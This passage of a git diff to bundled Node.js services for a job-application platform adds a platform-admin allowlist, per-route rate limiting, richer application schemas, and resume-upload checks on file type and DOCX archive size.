...supabaseAuthEnvSchema.shape, + /** + * Comma-separated `auth.users` ids allowed to act on GLOBAL data such as the + * shared jobs catalog (see `requirePlatformAdmin` in @atlas/auth-kit). + * Empty/unset means nobody. + */ + PLATFORM_ADMIN_USER_IDS: external_exports.string().default("") }); function loadJobsServiceEnv(source = process.env) { const normalized = { ...source, PORT: source.PORT ?? source.JOBS_SERVICE_PORT }; diff --git a/api/learning/index.js b/api/learning/index.js index db02bf2..39f5448 100644 --- a/api/learning/index.js +++ b/api/learning/index.js @@ -74771,6 +74771,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -74958,13 +74976,20 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ @@ -75202,6 +75227,22 @@ function getActor(request) { return request.actor; } +// packages/auth-kit/src/platform-admin.ts +function parsePlatformAdminIds(raw) { + if (!raw) return /* @__PURE__ */ new Set(); + return new Set( + raw.split(",").map((id) => id.trim().toLowerCase()).filter((id) => id.length > 0) + ); +} +function isPlatformAdmin(actor, allowlist) { + return parsePlatformAdminIds(allowlist).has(actor.user_id.toLowerCase()); +} +function requirePlatformAdmin(actor, allowlist, message2 = "Only platform administrators can perform this action") { + if (!isPlatformAdmin(actor, allowlist)) { + throw new AppError("FORBIDDEN", message2); + } +} + // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/index.js import os from "os"; import fs from "fs"; @@ -85820,6 +85861,43 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/rate-limit.ts +function registerRateLimitedRoutes(app2, options, declareRoutes) { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + if (unmatched.size > 0) { + app2.addHook("onRoute", (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === void 0) continue; + unmatched.delete(key); + if (route.config?.rateLimit === void 0) { + route.config = { ...route.config, rateLimit: { ...limit } }; + } + } + }); + app2.addHook("onReady", async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(", ")}` + ); + } + }); + } + void app2.register(options.plugin, options.settings); + let limitUnmatched; + app2.addHook("onRequest", async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= app2.rateLimit(); + await limitUnmatched(request, reply); + }); + void app2.register(async (scope) => { + declareRoutes(scope); + }); +} + // services/learning/src/http/routes/drain.ts var DEFAULT_BUDGET_MS = 2e4; var MAX_BUDGET_MS = 25e3; @@ -85910,9 +85988,7 @@ async function listApplicationPairs(db2, limit = SAMPLE_LIMIT) { function getMetricsRoute(app2, deps) { app2.get("/v1/learning/metrics", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); - if (actor.role !== "admin" && actor.role !== "owner") { - throw new AppError("FORBIDDEN", "Only org admins/owners can view learning metrics"); - } + requirePlatformAdmin(actor, deps.env.PLATFORM_ADMIN_USER_IDS, "Only platform administrators can view learning metrics"); const [scores, appliedPairs] = await Promise.all([listRecentScores(deps.db), listApplicationPairs(deps.db)]); const metrics2 = computeLearningMetrics(scores, appliedPairs); const response = { @@ -85962,10 +86038,6 @@ function buildApp(deps) { genReqId: () => newUuid() }); void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app2.register(import_rate_limit.default, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW - }); const metrics2 = createMetricsRegistry("learning-service"); registerHttpMetrics(app2, metrics2); app2.setErrorHandler((error62, request, reply) => { @@ -86007,7 +86079,16 @@ function buildApp(deps) { healthRoute(app2, deps); metricsRoute(app2, metrics2); drainRoute(app2, deps); - getMetricsRoute(app2, deps); + registerRateLimitedRoutes( + app2, + { + plugin: import_rate_limit.default, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW } + }, + (api) => { + getMetricsRoute(api, deps); + } + ); return app2; } @@ -86023,7 +86104,12 @@ var learningServiceEnvSchema = external_exports.object({ * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the * route answers 503 and never runs a drain. */ - CRON_SECRET: external_exports.string().min(16, "CRON_SECRET must be at least 16 characters").optional() + CRON_SECRET: external_exports.string().min(16, "CRON_SECRET must be at least 16 characters").optional(), + /** + * Comma-separated `auth.users` ids allowed to read cross-tenant aggregates + * (see `requirePlatformAdmin` in @atlas/auth-kit). Empty/unset means nobody. + */ + PLATFORM_ADMIN_USER_IDS: external_exports.string().default("") }); function loadLearningServiceEnv(source = process.env) { const normalized = { ...source, PORT: source.PORT ?? source.LEARNING_SERVICE_PORT }; diff --git a/api/matching/index.js b/api/matching/index.js index 81fae7a..0b8996d 100644 --- a/api/matching/index.js +++ b/api/matching/index.js @@ -83081,6 +83081,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -83268,13 +83286,20 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ @@ -85003,6 +85028,43 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/rate-limit.ts +function registerRateLimitedRoutes(app2, options, declareRoutes) { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + if (unmatched.size > 0) { + app2.addHook("onRoute", (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === void 0) continue; + unmatched.delete(key); + if (route.config?.rateLimit === void 0) { + route.config = { ...route.config, rateLimit: { ...limit } }; + } + } + }); + app2.addHook("onReady", async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(", ")}` + ); + } + }); + } + void app2.register(options.plugin, options.settings); + let limitUnmatched; + app2.addHook("onRequest", async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= app2.rateLimit(); + await limitUnmatched(request, reply); + }); + void app2.register(async (scope) => { + declareRoutes(scope); + }); +} + // services/matching/src/http/routes/drain.ts var DEFAULT_BUDGET_MS = 2e4; var MAX_BUDGET_MS = 25e3; @@ -85073,10 +85135,6 @@ function buildApp(deps) { genReqId: () => newUuid() }); void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app2.register(import_rate_limit.default, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW - }); const metrics2 = createMetricsRegistry("matching-service"); registerHttpMetrics(app2, metrics2); app2.setErrorHandler((error62, request, reply) => { @@ -85118,6 +85176,15 @@ function buildApp(deps) { healthRoute(app2, deps); metricsRoute(app2, metrics2); drainRoute(app2, deps); + registerRateLimitedRoutes( + app2, + { + plugin: import_rate_limit.default, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW } + }, + (_api) => { + } + ); return app2; } diff --git a/api/outreach/index.js b/api/outreach/index.js index 1ed6160..6c44323 100644 --- a/api/outreach/index.js +++ b/api/outreach/index.js @@ -74790,6 +74790,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -74977,13 +74995,20 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ @@ -85821,6 +85846,43 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/rate-limit.ts +function registerRateLimitedRoutes(app2, options, declareRoutes) { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + if (unmatched.size > 0) { + app2.addHook("onRoute", (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === void 0) continue; + unmatched.delete(key); + if (route.config?.rateLimit === void 0) { + route.config = { ...route.config, rateLimit: { ...limit } }; + } + } + }); + app2.addHook("onReady", async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(", ")}` + ); + } + }); + } + void app2.register(options.plugin, options.settings); + let limitUnmatched; + app2.addHook("onRequest", async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= app2.rateLimit(); + await limitUnmatched(request, reply); + }); + void app2.register(async (scope) => { + declareRoutes(scope); + }); +} + // services/outreach/src/lib/drafter.ts function draftSubject(ctx) { if (ctx.jobTitle && ctx.companyName) return `Interested in the ${ctx.jobTitle} role at ${ctx.companyName}`; @@ -86129,6 +86191,9 @@ var STATUS_TO_CODE = { 415: "UNSUPPORTED_MEDIA_TYPE", 429: "RATE_LIMITED" }; +var ROUTE_LIMITS = { + "POST /v1/messages/:id/send": { max: 20, timeWindow: "1 minute" } +}; function buildApp(deps) { const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger @@ -86140,10 +86205,6 @@ function buildApp(deps) { genReqId: () => newUuid() }); void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app2.register(import_rate_limit.default, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW - }); const metrics2 = createMetricsRegistry("outreach-service"); registerHttpMetrics(app2, metrics2); app2.setErrorHandler((error62, request, reply) => { @@ -86184,11 +86245,21 @@ function buildApp(deps) { }); healthRoute(app2, deps); metricsRoute(app2, metrics2); - createMessageRoute(app2, deps); - listMessagesRoute(app2, deps); - getMessageRoute(app2, deps); - scheduleMessageRoute(app2, deps); - sendMessageRoute(app2, deps); + registerRateLimitedRoutes( + app2, + { + plugin: import_rate_limit.default, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + routeLimits: ROUTE_LIMITS + }, + (api) => { + createMessageRoute(api, deps); + listMessagesRoute(api, deps); + getMessageRoute(api, deps); + scheduleMessageRoute(api, deps); + sendMessageRoute(api, deps); + } + ); return app2; } diff --git a/api/profile/index.js b/api/profile/index.js index 1af3449..7f63ba8 100644 --- a/api/profile/index.js +++ b/api/profile/index.js @@ -12130,7 +12130,7 @@ var require_channel_model = __commonJS({ "node_modules/.pnpm/amqplib@0.10.9/node_modules/amqplib/lib/channel_model.js"(exports2, module2) { "use strict"; var EventEmitter = __require("events"); - var promisify = __require("util").promisify; + var promisify2 = __require("util").promisify; var defs = require_defs(); var { BaseChannel } = require_channel(); var { acceptMessage } = require_channel(); @@ -12145,10 +12145,10 @@ var require_channel_model = __commonJS({ }); } close() { - return promisify(this.connection.close.bind(this.connection))(); + return promisify2(this.connection.close.bind(this.connection))(); } updateSecret(newSecret, reason) { - return promisify(this.connection._updateSecret.bind(this.connection))(newSecret, reason); + return promisify2(this.connection._updateSecret.bind(this.connection))(newSecret, reason); } async createChannel(options) { const channel = new Channel(this.connection); @@ -12174,7 +12174,7 @@ var require_channel_model = __commonJS({ // response's fields; this is intended to be suitable for implementing // API procedures. async rpc(method, fields, expect) { - const f = await promisify((cb2) => { + const f = await promisify2((cb2) => { return this._rpc(method, fields, expect, cb2); })(); return f.fields; @@ -12189,7 +12189,7 @@ var require_channel_model = __commonJS({ ); } close() { - return promisify((cb2) => { + return promisify2((cb2) => { return this.closeBecause( "Goodbye", defs.constants.REPLY_SUCCESS, @@ -12296,7 +12296,7 @@ var require_channel_model = __commonJS({ }); } async cancel(consumerTag) { - const ok = await promisify((cb2) => { + const ok = await promisify2((cb2) => { this._rpc( defs.BasicCancel, Args.cancel(consumerTag), @@ -12417,9 +12417,9 @@ var require_channel_api = __commonJS({ "node_modules/.pnpm/amqplib@0.10.9/node_modules/amqplib/channel_api.js"(exports2, module2) { var raw_connect = require_connect().connect; var ChannelModel = require_channel_model().ChannelModel; - var promisify = __require("util").promisify; + var promisify2 = __require("util").promisify; function connect(url2, connOptions) { - return promisify(function(cb2) { + return promisify2(function(cb2) { return raw_connect(url2, connOptions, cb2); })().then(function(conn) { return new ChannelModel(conn); @@ -22546,7 +22546,7 @@ var require_validation = __commonJS({ "use strict"; var { kSchemaHeaders: headersSchema, - kSchemaParams: paramsSchema2, + kSchemaParams: paramsSchema3, kSchemaQuerystring: querystringSchema, kSchemaBody: bodySchema, kSchemaResponse: responseSchema @@ -22762,7 +22762,7 @@ var require_validation = __commonJS({ FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema2] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema3] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -22802,11 +22802,11 @@ var require_validation = __commonJS({ } function validate2(context2, request, execution) { const runExecution = execution === void 0; - if (runExecution && context2[paramsSchema2] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { + if (runExecution && context2[paramsSchema3] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; } if (runExecution || !execution.skipParams) { - const params = validateParam(context2[paramsSchema2], request, "params"); + const params = validateParam(context2[paramsSchema3], request, "params"); if (params) { if (typeof params.then !== "function") { return wrapValidationError(params, "params", context2.schemaErrorFormatter); @@ -22901,7 +22901,7 @@ var require_validation = __commonJS({ return error62; } module2.exports = { - symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema: paramsSchema2, headersSchema }, + symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema: paramsSchema3, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, validate: validate2 @@ -63688,7 +63688,7 @@ var require_promisify = __commonJS({ util.toFastProperties(obj2); return obj2; } - function promisify(callback, receiver, multiArgs) { + function promisify2(callback, receiver, multiArgs) { return makeNodePromisified( callback, receiver, @@ -63708,7 +63708,7 @@ var require_promisify = __commonJS({ options = Object(options); var receiver = options.context === void 0 ? THIS : options.context; var multiArgs = !!options.multiArgs; - var ret2 = promisify(fn, receiver, multiArgs); + var ret2 = promisify2(fn, receiver, multiArgs); util.copyDescriptors(fn, ret2, propsFilter); return ret2; }; @@ -73597,14 +73597,14 @@ var require_inflate2 = __commonJS({ } return inflator.result; } - function inflateRaw(input2, options) { + function inflateRaw2(input2, options) { options = options || {}; options.raw = true; return inflate(input2, options); } exports2.Inflate = Inflate; exports2.inflate = inflate; - exports2.inflateRaw = inflateRaw; + exports2.inflateRaw = inflateRaw2; exports2.ungzip = inflate; } }); @@ -87237,7 +87237,7 @@ var require_document_matchers = __commonJS({ exports2.pageBreak = new BreakMatcher({ breakType: "page" }); exports2.columnBreak = new BreakMatcher({ breakType: "column" }); exports2.equalTo = equalTo; - exports2.startsWith = startsWith; + exports2.startsWith = startsWith2; function paragraph(options) { return new Matcher("paragraph", options); } @@ -87286,7 +87286,7 @@ var require_document_matchers = __commonJS({ operand: value }; } - function startsWith(value) { + function startsWith2(value) { return { operator: operatorStartsWith, operand: value @@ -108862,6 +108862,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -109049,13 +109067,20 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ @@ -119953,6 +119978,43 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/rate-limit.ts +function registerRateLimitedRoutes(app2, options, declareRoutes) { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + if (unmatched.size > 0) { + app2.addHook("onRoute", (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === void 0) continue; + unmatched.delete(key); + if (route.config?.rateLimit === void 0) { + route.config = { ...route.config, rateLimit: { ...limit } }; + } + } + }); + app2.addHook("onReady", async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(", ")}` + ); + } + }); + } + void app2.register(options.plugin, options.settings); + let limitUnmatched; + app2.addHook("onRequest", async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= app2.rateLimit(); + await limitUnmatched(request, reply); + }); + void app2.register(async (scope) => { + declareRoutes(scope); + }); +} + // services/profile/src/repo/resumes.ts function toResume(row) { return { @@ -120026,10 +120088,11 @@ async function listForUser(db2, userId, pagination) { } // services/profile/src/http/routes/get-resume.ts +var paramsSchema = external_exports.object({ id: uuidSchema }); function getResumeRoute(app2, deps) { app2.get("/v1/resumes/:id", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); - const { id } = request.params; + const { id } = paramsSchema.parse(request.params); const resume = await findById(deps.db, id); if (!resume || resume.userId !== actor.user_id) { throw new AppError("RESUME_NOT_FOUND", "Resume not found"); @@ -120525,11 +120588,11 @@ async function findOptimizationTarget(db2, jobId) { } // services/profile/src/http/routes/optimize-resume.ts -var paramsSchema = external_exports.object({ id: uuidSchema }); +var paramsSchema2 = external_exports.object({ id: uuidSchema }); function optimizeResumeRoute(app2, deps) { app2.post("/v1/resumes/:id/optimize", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); - const { id } = paramsSchema.parse(request.params); + const { id } = paramsSchema2.parse(request.params); const body = optimizeResumeRequestSchema.parse(request.body); const resume = await findById(deps.db, id); if (!resume || resume.userId !== actor.user_id) { @@ -120553,6 +120616,8 @@ function optimizeResumeRoute(app2, deps) { // services/profile/src/lib/extract-text.ts var import_mammoth = __toESM(require_lib7(), 1); +import { inflateRaw } from "node:zlib"; +import { promisify } from "node:util"; // node_modules/.pnpm/pdfjs-dist@5.4.296/node_modules/pdfjs-dist/legacy/build/pdf.mjs var pdf_exports = {}; @@ -152523,32 +152588,206 @@ ${pageNumber} }; // services/profile/src/lib/extract-text.ts +var inflateRawAsync = promisify(inflateRaw); +var PDF_MIME = "application/pdf"; var DOCX_MIME = "application/vnd.openxmlformats-officedocument.wordprocessingml.document"; +var TEXT_MIME = "text/plain"; var LEGACY_DOC_MIME = "application/msword"; +var MAX_EXTRACTED_TEXT_CHARS = 2e5; +var MAX_PDF_PAGES = 30; +var MAX_DOCX_ENTRIES = 1e3; +var MAX_DOCX_UNCOMPRESSED_BYTES = 30 * 1024 * 1024; +var FORMAT_BY_MIME = { + [PDF_MIME]: "pdf", + [DOCX_MIME]: "docx", + [TEXT_MIME]: "text" +}; +var MIME_BY_FORMAT = { + pdf: PDF_MIME, + docx: DOCX_MIME, + text: TEXT_MIME +}; +function normalizeMime(contentType) { + return (contentType.split(";")[0] ?? "").trim().toLowerCase(); +} +var PDF_HEADER_WINDOW = 1024; +function startsWith(buffer2, signature) { + return buffer2.length >= signature.length && signature.every((byte, index2) => buffer2[index2] === byte); +} +function hasPdfHeader(buffer2) { + return buffer2.subarray(0, PDF_HEADER_WINDOW).includes("%PDF-", 0, "latin1"); +} +function hasZipHeader(buffer2) { + return startsWith(buffer2, [80, 75, 3, 4]); +} +var BINARY_SIGNATURES = [ + [37, 80, 68, 70, 45], + // %PDF- + [80, 75, 3, 4], + // zip / docx / xlsx / jar + [80, 75, 5, 6], + // empty zip + [208, 207, 17, 224], + // OLE2 (legacy .doc / .xls) + [137, 80, 78, 71], + // PNG + [255, 216, 255], + // JPEG + [71, 73, 70, 56], + // GIF + [31, 139], + // gzip + [127, 69, 76, 70], + // ELF + [77, 90] + // MZ (Windows executables) +]; +function isBinaryControl(byte) { + return byte < 32 ? byte !== 9 && byte !== 10 && byte !== 12 && byte !== 13 : byte === 127; +} +function looksLikeText(buffer2) { + if (BINARY_SIGNATURES.some((signature) => startsWith(buffer2, signature))) return false; + let controls = 0; + for (const byte of buffer2) { + if (byte === 0) return false; + if (isBinaryControl(byte)) controls += 1; + } + return controls <= buffer2.length * 0.01; +} +var EOCD_SIGNATURE = 101010256; +var CENTRAL_HEADER_SIGNATURE = 33639248; +var LOCAL_HEADER_SIGNATURE = 67324752; +var EOCD_MIN_SIZE = 22; +var CENTRAL_HEADER_SIZE = 46; +var LOCAL_HEADER_SIZE = 30; +var ZIP32_MAX = 4294967295; +var verifiedArchives = /* @__PURE__ */ new WeakSet(); +function malformedArchive() { + return new AppError("UNSUPPORTED_MEDIA_TYPE", "The uploaded file is not a valid DOCX document."); +} +function archiveTooLarge() { + return new AppError("PAYLOAD_TOO_LARGE", "The uploaded document is too large or complex to process."); +} +function findEndOfCentralDirectory(buffer2) { + const lowest = Math.max(0, buffer2.length - EOCD_MIN_SIZE - 65535); + for (let offset = buffer2.length - EOCD_MIN_SIZE; offset >= lowest; offset -= 1) { + if (buffer2.readUInt32LE(offset) === EOCD_SIGNATURE) return offset; + } + throw malformedArchive(); +} +async function assertSafeDocxArchive(buffer2) { + if (verifiedArchives.has(buffer2)) return; + const eocd = findEndOfCentralDirectory(buffer2); + const entryCount = buffer2.readUInt16LE(eocd + 10); + const directorySize = buffer2.readUInt32LE(eocd + 12); + const directoryOffset = buffer2.readUInt32LE(eocd + 16); + if (entryCount === 65535 || directorySize === ZIP32_MAX || directoryOffset === ZIP32_MAX) throw archiveTooLarge(); + if (entryCount === 0) throw malformedArchive(); + if (entryCount > MAX_DOCX_ENTRIES) throw archiveTooLarge(); + if (directoryOffset + directorySize !== eocd) throw malformedArchive(); + const entries = []; + let declaredTotal = 0; + let cursor = directoryOffset; + for (let index2 = 0; index2 < entryCount; index2 += 1) { + if (cursor + CENTRAL_HEADER_SIZE > eocd || buffer2.readUInt32LE(cursor) !== CENTRAL_HEADER_SIGNATURE) { + throw malformedArchive(); + } + const flags = buffer2.readUInt16LE(cursor + 8); + const method = buffer2.readUInt16LE(cursor + 10); + const compressedSize = buffer2.readUInt32LE(cursor + 20); + const uncompressedSize = buffer2.readUInt32LE(cursor + 24); + const nameLength = buffer2.readUInt16LE(cursor + 28); + const extraLength = buffer2.readUInt16LE(cursor + 30); + const commentLength = buffer2.readUInt16LE(cursor + 32); + const localOffset = buffer2.readUInt32LE(cursor + 42); + if ((flags & 1) !== 0) throw malformedArchive(); + if (compressedSize === ZIP32_MAX || uncompressedSize === ZIP32_MAX || localOffset === ZIP32_MAX) { + throw archiveTooLarge(); + } + declaredTotal += uncompressedSize; + if (declaredTotal > MAX_DOCX_UNCOMPRESSED_BYTES) throw archiveTooLarge(); + entries.push({ method, compressedSize, uncompressedSize, localOffset }); + cursor += CENTRAL_HEADER_SIZE + nameLength + extraLength + commentLength; + } + if (cursor !== eocd) throw malformedArchive(); + let actualTotal = 0; + for (const entry of entries) { + if (entry.localOffset + LOCAL_HEADER_SIZE > buffer2.length || buffer2.readUInt32LE(entry.localOffset) !== LOCAL_HEADER_SIGNATURE) { + throw malformedArchive(); + } + const dataStart = entry.localOffset + LOCAL_HEADER_SIZE + buffer2.readUInt16LE(entry.localOffset + 26) + buffer2.readUInt16LE(entry.localOffset + 28); + const dataEnd = dataStart + entry.compressedSize; + if (dataEnd > directoryOffset) throw malformedArchive(); + const data = buffer2.subarray(dataStart, dataEnd); + let actualSize; + if (entry.method === 0) { + actualSize = data.length; + } else if (entry.method === 8) { + try { + actualSize = (await inflateRawAsync(data, { maxOutputLength: Math.max(entry.uncompressedSize, 1) })).length; + } catch (cause) { + const code = cause.code; + throw code === "ERR_BUFFER_TOO_LARGE" ? archiveTooLarge() : malformedArchive(); + } + } else { + throw malformedArchive(); + } + if (actualSize !== entry.uncompressedSize) throw malformedArchive(); + actualTotal += actualSize; + if (actualTotal > MAX_DOCX_UNCOMPRESSED_BYTES) throw archiveTooLarge(); + } + verifiedArchives.add(buffer2); +} +async function verifyResumeUpload(buffer2, declaredContentType) { + const mime = normalizeMime(declaredContentType); + if (mime === LEGACY_DOC_MIME) { + throw new AppError( + "UNSUPPORTED_MEDIA_TYPE", + "Legacy .doc files are not supported yet \u2014 please upload a PDF, DOCX, or plain-text resume." + ); + } + const format = FORMAT_BY_MIME[mime]; + if (!format) { + throw new AppError("UNSUPPORTED_MEDIA_TYPE", "Unsupported resume file type \u2014 please upload a PDF, DOCX, or plain-text resume."); + } + const matches = format === "pdf" ? hasPdfHeader(buffer2) : format === "docx" ? hasZipHeader(buffer2) : looksLikeText(buffer2); + if (!matches) { + throw new AppError("UNSUPPORTED_MEDIA_TYPE", "The uploaded file does not match its declared type."); + } + if (format === "docx") await assertSafeDocxArchive(buffer2); + return MIME_BY_FORMAT[format]; +} +function finalizeText(text2) { + const clean = text2.includes("\0") ? text2.replaceAll("\0", "") : text2; + return clean.length 